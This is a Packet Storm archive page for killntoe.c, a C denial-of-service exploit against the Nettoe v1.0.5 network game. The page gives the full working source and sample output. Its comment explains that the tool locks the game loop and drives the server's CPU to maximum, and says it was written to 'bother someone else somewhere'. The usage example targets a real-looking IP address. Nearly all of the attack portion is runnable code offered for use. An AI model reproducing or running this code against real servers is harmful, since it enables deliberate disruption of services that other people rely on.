what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

killntoe.c

killntoe.c
Posted Dec 15, 2000
Authored by vade79, realhalo | Site realhalo.org

Nettoe v1.0.5 denial of service attack - Causes the Nettoe server to use all available CPU cycles and lock the game.

tags | exploit, denial of service
SHA-256 | 0829ddccf17a5f6cf8784776e011d370671b9df074562df981cf1b37ab918cdd

killntoe.c

Change Mirror Download
/* (linux)nettoe[v1.0.5] denial of service.  by: v9[v9@fakehalo.org].  this wil
l
make nettoe's cpu usage go through to roof. i was mainly looking through
the source to this program to find security breaches in order to execute
arbitrary code. i found this in the process, this will make the cpu usage o
f
nettoe go extremely high, and lock the game(loop), allowing you to disconnec
t
and it still be absorbing cpu usage. (it pissed me off when i did it by
accident, so i figured it was worth slapping this together to bother someone
else somewhere)

example:
# ./killntoe 209.214.40.98
[ nettoe[v1.0.5]: cpu lock/overload DoS, by v9[v9@fakehalo.org].
*** target: 209.214.40.98(client:7501!server:7502), idle time: 15.
*** binding port. (server:7502)
*** connecting to 209.214.40.98. (client:7501)
*** closing connection, to start the game. (server:7502)
*** now waiting idle time(15), to insure the lockup.
*** closing connection, should already be locked. (client:7501)
*** completed program, exiting.

note: it must start as the players(your) turn for this to work.
*/
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#define DEFAULT_CLIENT_PORT 7501 // shouldn't need to be changed.
#define DEFAULT_SERVER_PORT 7502 // shouldn't need to be changed.
#define DEFAULT_IDLE 15 // to allow nettoe's internal sleep()s
main(int argc,char **argv){
char target[256];
int remote,data,sock,cport,sport,idle;
struct sockaddr_in a,ra,s;
struct hostent *t;
data=socket(AF_INET,SOCK_STREAM,0);
if(argc<2){printf("*** syntax: %s <target> [idle(secs)] [client port] [server
"
"port]\n",argv[0]);exit(-1);}
else{strncpy(target,argv[1],256);}
if(argc>2){idle=atoi(argv[2]);}
else{idle=DEFAULT_IDLE;}
if(argc>3){cport=atoi(argv[3]);}
else{cport=DEFAULT_CLIENT_PORT;}
if(argc>4){sport=atoi(argv[4]);}
else{sport=DEFAULT_SERVER_PORT;}
printf("[ nettoe[v1.0.5]: cpu lock/overload DoS, by v9[v9@fakehalo.org].\n");
printf("*** target: %s(client:%d!server:%d), idle time: %d.\n",target,cport,
sport,idle);
a.sin_family=AF_INET;
a.sin_port=htons(sport);
a.sin_addr.s_addr=INADDR_ANY;
printf("*** binding port. (server:%d)\n",sport);
if(bind(data,(struct sockaddr*)&a,16)){printf("error: bind();\n");exit(-1);}
else{
switch(fork()){
case 0:
listen(data,5);
bzero((char*)&ra,sizeof(struct sockaddr_in));
remote=accept(data,&ra,16);
sleep(1);
printf("*** closing connection, to start the game. (server:%d)\n",sport);
close(data);
printf("*** now waiting idle time(%d), to insure the lockup.\n",idle);
exit(0);
break;
case -1:
printf("error: fork();\n");
exit(-1);
break;
default:
if(s.sin_addr.s_addr=inet_addr(target)){
if(!(t=gethostbyname(target))){
printf("error: couldn't resolve. (%s)\n",target);
exit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(cport);
sock=socket(AF_INET,SOCK_STREAM,0);
printf("*** connecting to %s. (client:%d)\n",target,cport);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){printf("error: connecti
"
"on failed. (%d)\n",cport);}
else{
sleep(idle);
printf("*** closing connection, should already be locked. (client:%d)\n",
cport);
close(remote);
printf("*** completed program, exiting.\n");
exit(0);
}
break;
}
exit(0);
}
}

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close